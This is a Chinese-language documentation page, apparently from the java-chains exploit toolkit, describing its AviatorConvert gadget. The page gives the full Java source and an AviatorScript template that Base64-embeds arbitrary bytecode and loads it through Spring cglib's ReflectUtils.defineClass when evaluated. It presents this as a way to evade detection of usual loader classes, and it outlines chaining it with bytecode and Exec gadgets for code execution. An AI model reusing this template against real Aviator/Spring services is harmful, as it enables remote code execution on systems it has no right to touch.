Skip to content

Latest commit

 

History

History
62 lines (51 loc) · 4.58 KB

File metadata and controls

62 lines (51 loc) · 4.58 KB

Aviator 表达式加载字节码(AviatorConvert)

  • 类别:common 别名:— 优先级:—
  • 作者:ReaJason
  • 依赖Aviator(表达式引擎)、spring(提供 cglib 的 ReflectUtils.defineClassBase64Utils

作用

把下游产出的 byte[] 字节码,包装成一段 AviatorScript 表达式字符串。该表达式在被 Aviator 引擎求值时,会用 Spring cglib 的 ReflectUtils.defineClass(...) 把 Base64 解码后的字节码定义为类,实现字节码加载/执行。是「字节码 → 表达式字符串」的转换构件(Convert 型 sink 适配器)。

链接标签

  • 入口 tagsAviator_ExprExpression
    • Expression —— 通用「表达式字符串」标签,表示本 gadget 产出可被表达式求值型上游消费。
    • Aviator_Expr —— 特指 Aviator 语法的表达式,供专门以 Aviator 求值的上游 gadget 承接。
  • 衔接 nextTagsBytecodeConvertTag —— 之后必须接一个提供 byte[] 字节码的 gadget(BytecodeConvert 及其变体),本 gadget 消费它的字节码输出。
  • excludes:无。

源码剖析

@GadgetTags(tags={"Aviator_Expr", "Expression"}, nextTags={"BytecodeConvertTag"})
public class AviatorConvert implements Gadget {
    public static String AviatorTemplate = "use org.springframework.cglib.core.*;use org.springframework.util.*;"
        + "ReflectUtils.defineClass('%s', Base64Utils.decodeFromString('%s'), "
        + "ReflectionUtils.invokeMethod(ClassUtils.getMethod(Class.forName('java.lang.Thread'), "
        + "'getContextClassLoader', nil), Thread.currentThread()));";

    private String getObject(byte[] bytecode, String className) {
        String bytecodeB64 = Base64.encodeBase64String((byte[])bytecode);
        return String.format(AviatorTemplate, className, bytecodeB64);
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        Object bytecode = chain.doCreate(context);                        // 内层:byte[] 字节码
        String className = context.getString(ContextTag.CLASS_NAME_KEY);  // 要定义的类名(由链上下文注入)
        return this.getObject((byte[])bytecode, className);
    }
}
  • AviatorTemplate 是核心:它先 use 引入 org.springframework.cglib.core.*org.springframework.util.*,然后调用 ReflectUtils.defineClass(className, decodedBytes, classLoader)
    • 第一个 %s 填入目标类名;
    • 第二个 %s 填入字节码的 Base64(用 Base64Utils.decodeFromString 在求值时解码);
    • classloader 通过 ClassUtils.getMethod(...) 反射取当前线程的 getContextClassLoader() 得到——因为 defineClass 需要一个 ClassLoader 实例来承载新类。
  • getObject() 把内层字节码 Base64 编码后 String.format 填入模板,返回一段可直接交给 Aviator 引擎执行的脚本字符串。
  • invokechain.doCreate 取内层 byte[](通常来自 BytecodeConvert 包装的 TemplatesImpl/Exec 字节码),再从上下文 CLASS_NAME_KEY 取类名,产出最终表达式。

关键点:本 gadget 不执行字节码,只生成「一执行就会 defineClass 的 Aviator 脚本」;真正的求值由上游的 Aviator 表达式执行 sink 完成。依赖 Spring 在 classpath(用其 cglib 与 Base64Utils)。

参数(@Param)

本类无 @Param 可配参数;className 由链上下文 CLASS_NAME_KEY 注入,字节码由下游 BytecodeConvert 提供。

适用版本与原理要点

  • 需目标环境同时具备 Aviator 表达式引擎与 Spring(复用其 cglib ReflectUtils.defineClassBase64Utils)。
  • ReflectUtils.defineClass 定义类,绕过对 TemplatesImpl/TransletsImpl 等常规载体的检测。
  • 属于 java-chains 的一类「表达式 Convert」构件(与 BcelConvertGroovyConvertSpelConvert 等并列),统一把字节码适配到不同表达式/类加载 sink。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。手工组合思路:<Aviator 表达式求值 sink> → AviatorConvert → BytecodeConvert → Exec

关联

  • 下游(tags=BytecodeConvertTag):BytecodeConvertBytecodeFromBase64BytecodeFromHexBytecodeFromLocalFileBytecodeFromUploadFile
  • 上游:以 Aviator/表达式求值的 sink(消费 Aviator_Expr/Expression 产物)。
  • 同类 Convert 构件:BcelConvertGroovyConvertSpelConvertMvelConvertElConvert